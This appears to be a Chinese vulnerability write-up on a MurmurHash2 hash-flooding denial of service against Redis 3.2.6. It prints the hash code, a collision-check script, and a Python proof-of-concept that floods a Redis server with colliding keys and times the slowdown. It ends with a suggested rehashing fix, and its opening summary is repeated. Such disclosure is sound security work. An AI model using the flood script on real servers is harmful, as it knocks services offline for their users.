VULHUB ™

### 概要信息： 1. 在Martin Bosslet 2012年的[*这篇文章*](http://emboss.github.io/blog/2012/12/14/breaking-murmur-hash-flooding-dos-reloaded/)中，作者提到MurmurHash2算法被发现可以稳定构造碰撞函数，该哈希函数及其变形被CRuby, JRuby, Rubinius, Redis等开源组件使用。 2. 本文是基于Martin Bosslet的发现继续挖掘的结果，在此对Martin Bosslet表示感谢。 3. 原文中作者的碰撞函数是基于Ruby完成的，这里将发布该碰撞函数的Python版本。 4. 在Martin Bosslet的文章中对碰撞函数的构造原理未做足够透彻的解释，我将在稍后一段时间将分析构造原理的部分补充。 ### 详细信息： 1. Redis使用MurmurHash2算法作为数据结构Hashtable的哈希算法。 2. 当Hashtable出现碰撞后，Redis选择将发生碰撞的项用链表相连，最新的项插在链表首。 3. Redis将Key和对应的Value以键值对的形式储存在一个Hashtable中。 4. Redis并未将用户传入的Key进行任何编码就直接使用。 5. 在2012年MurmurHash2算法被发现可以稳定构造碰撞函数。 6. 当将大量使用在Murmurhash2算法下产生相互碰撞的字符串作为Key的键值对插入Redis后，在访问这些键值对时Hashtable的行为将退化为链表。 ### 验证： 测试平台： i3-3210，8G Ram, Redis3.2.6，位于虚拟机中（2 cores CPU， 2G Ram） Redis3.2.6中使用的Murmurhash2函数： ``` unsigned int mmhash_32(const void *key, int len) { /* 'm' and 'r' are mixing constants generated offline. They're not really 'magic', they just happen to work well. */ const uint32_t m = 0x5bd1e995; const int r = 24; /*...

### 概要信息： 1. 在Martin Bosslet 2012年的[*这篇文章*](http://emboss.github.io/blog/2012/12/14/breaking-murmur-hash-flooding-dos-reloaded/)中，作者提到MurmurHash2算法被发现可以稳定构造碰撞函数，该哈希函数及其变形被CRuby, JRuby, Rubinius, Redis等开源组件使用。 2. 本文是基于Martin Bosslet的发现继续挖掘的结果，在此对Martin Bosslet表示感谢。 3. 原文中作者的碰撞函数是基于Ruby完成的，这里将发布该碰撞函数的Python版本。 4. 在Martin Bosslet的文章中对碰撞函数的构造原理未做足够透彻的解释，我将在稍后一段时间将分析构造原理的部分补充。 ### 详细信息： 1. Redis使用MurmurHash2算法作为数据结构Hashtable的哈希算法。 2. 当Hashtable出现碰撞后，Redis选择将发生碰撞的项用链表相连，最新的项插在链表首。 3. Redis将Key和对应的Value以键值对的形式储存在一个Hashtable中。 4. Redis并未将用户传入的Key进行任何编码就直接使用。 5. 在2012年MurmurHash2算法被发现可以稳定构造碰撞函数。 6. 当将大量使用在Murmurhash2算法下产生相互碰撞的字符串作为Key的键值对插入Redis后，在访问这些键值对时Hashtable的行为将退化为链表。 ### 验证： 测试平台： i3-3210，8G Ram, Redis3.2.6，位于虚拟机中（2 cores CPU， 2G Ram） Redis3.2.6中使用的Murmurhash2函数： ``` unsigned int mmhash_32(const void *key, int len) { /* 'm' and 'r' are mixing constants generated offline. They're not really 'magic', they just happen to work well. */ const uint32_t m = 0x5bd1e995; const int r = 24; /* Initialize the hash to a 'random' value */ uint32_t h = 5381 ^ len; /* Mix 4 bytes at a time into the hash */ const unsigned char *data = (const unsigned char *)key; while(len >= 4) { uint32_t k = *(uint32_t*)data; k *= m; k ^= k >> r; k *= m; h *= m; h ^= k; data += 4; len -= 4; } /* Handle the last few bytes of the input array */ switch(len) { case 3: h ^= data[2] << 16; case 2: h ^= data[1] << 8; case 1: h ^= data[0]; h *= m; }; /* Do a few final mixes of the hash to ensure the last few * bytes are well-incorporated. */ h ^= h >> 13; h *= m; h ^= h >> 15; return (unsigned int)h; } ``` poc_collision.py,用于验证碰撞函数（其中mmhash将Redis3.2.6的dictGenHashFunction封装以供Python调用，基于[*mmhash*](https://pypi.python.org/pypi/mmhash) 魔改而来）： ``` # -*- coding:utf-8 -*- import mmhash from murmurhash2_collision import collision from binascii import crc32 c_l = list(collision(5)) hashs = (mmhash.get_hash_32(c) for c in c_l) crc32ed_collisions = (crc32(c) for c in c_l) print "crc32ed collision" + "\t" + "MurmurHash2ed collision" for pair in zip(crc32ed_collisions, hashs): print "{0}\t{1}".format(*pair) ``` 输出结果：  可见确实发生碰撞。 poc_redis.py，用以对比Redis3.2.6对同等数量恶意与非恶意数据的响应： ``` # -*- coding:utf-8 -*- import redis import os import time from murmurhash2_collision import collision BLOCK = 17 connection = redis.Redis(host="192.168.107.102", password="123456") func_set = connection.set connection.flushall() print "Insert 2**{0} normal key-value pairs.".format(BLOCK) start = time.time() first_key = os.urandom(8*BLOCK) func_set(name=first_key, value="") for i in xrange(0, 2**BLOCK-1): func_set(os.urandom(8*BLOCK), value="") end = time.time() print "Insertion complete. It takes {1} seconds.".format(BLOCK, end - start) print "Now get the first inserted key." start = time.time() connection.get(first_key) end = time.time() print "It takes {0} seconds.".format(end - start) print "*"*32 print "Now flush all the data." connection.flushall() print "Now insert 2**{0} key-value pairs with collisional strings as keys.".format(BLOCK) c = list(collision(BLOCK)) first_key = c[0] func_set(name=first_key, value="") start = time.time() for ck in c: func_set(name=ck, value="") end = time.time() print "Insertion complete. It takes {1} seconds.".format(BLOCK, end - start) print "Now get the first inserted key." start = time.time() connection.get(first_key) end = time.time() print "It takes {0} seconds.".format(end - start) ``` 插入普通随机数据时Redis服务器负载与插入恶意数据时服务器负载对比：  输出结果：  可见在输入大量恶意数据后Redis的响应速度有了明显下降（已排除生成碰撞字符串的时间）。 ### 修复方法： Redis hashtable目前处理碰撞的方法是直接将发生碰撞的项用链表相连。建议碰撞发生时使用另一个不同的哈希函数进行rehash（比如time33），若与现有项再次发生碰撞，再使用链表将项相连。在我的认知范围内（也许不完全正确），针对两个不同的哈希算法稳定构造碰撞是困难的。 ### 未完成工作 1. 未测试在更高并发下Redis的响应。 2. 对碰撞函数的构造原理进行深入分析。 3. 研究其他使用MurmurHash2算法的软件是否存在同样的漏洞。 ### 反思与疑问 1. 现在我还无法准确判断判断该漏洞的威胁程度，一方面是受限于手上没有资源验证Redis在更高并发下的响应，另一方面该漏洞的触发必须满足客户端的输入要作为Key并且原封不动地插入Redis。 2. 这个漏洞的发现源于我阅读源代码是对MurmurHash2算法的搜索，在维基百科的参考链接中提到了Martin Bosslet的文章，同时文章明确指出Redis在使用该算法。是什么原因使这个（潜在的）DDos漏洞存在这么多年？